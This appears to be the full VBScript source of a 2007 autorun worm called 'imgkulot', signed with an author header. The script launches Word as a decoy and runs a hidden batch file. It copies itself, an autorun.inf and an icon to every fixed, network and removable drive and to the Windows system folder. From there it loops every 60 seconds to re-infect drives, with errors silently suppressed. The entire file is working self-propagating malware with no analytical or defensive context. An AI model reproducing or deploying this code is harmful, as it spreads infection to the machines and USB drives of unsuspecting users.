'imgkulot v1.0
'Iloilo City Phils
'email me if you found this :) @ jamesgo.dll@gmail.com
'edited from imgkulot on july 2007
on error resume next
Set WshShell =CreateObject("WScript.Shell")


For i=1 to 1

set Of = CreateObject("Scripting.FileSystemObject") 
set dir = Of.GetSpecialFolder(1)

Set dc = Of.Drives
if WScript.ScriptFullName=dir&"\test.vbs" then
	isdir=true
else
	a=WshShell.Run("test.bat Open" ,0,False)
	a=WshShell.Run("winword " ,1,False)
	isdir=false
end if

For Each d In dc 
	If d.DriveType = 2 Or d.DriveType = 3 or (d.DriveType = 1 and d<>"A:" and d<> "B:") Then 
	a=WshShell.Run("test.bat - "&d ,0,True)
		if isdir then
			Of.CopyFile dir&"\test.*",d&"\",True
			Of.CopyFile dir&"\autorun.inf",d&"\",True
			Of.CopyFile dir&"\autorun.ico",d&"\",True
		else
			Of.CopyFile "test.*",d&"\",True
			Of.CopyFile "autorun.inf",d&"\",True
			Of.CopyFile dir&"\autorun.ico",d&"\",True
		end if
			a=WshShell.Run("test.bat + "&d ,0,True)
	End If
next

if isdir then
	wscript.sleep 60000
	i=0
else
	a=WshShell.Run("test.bat - "&dir ,0,True)
	Of.CopyFile "test.*",dir&"\",True
	Of.CopyFile "autorun.inf",dir&"\",True
	Of.CopyFile "autorun.ico",dir&"\",True
	a=WshShell.Run("test.bat + "&dir ,0,True)
end if

next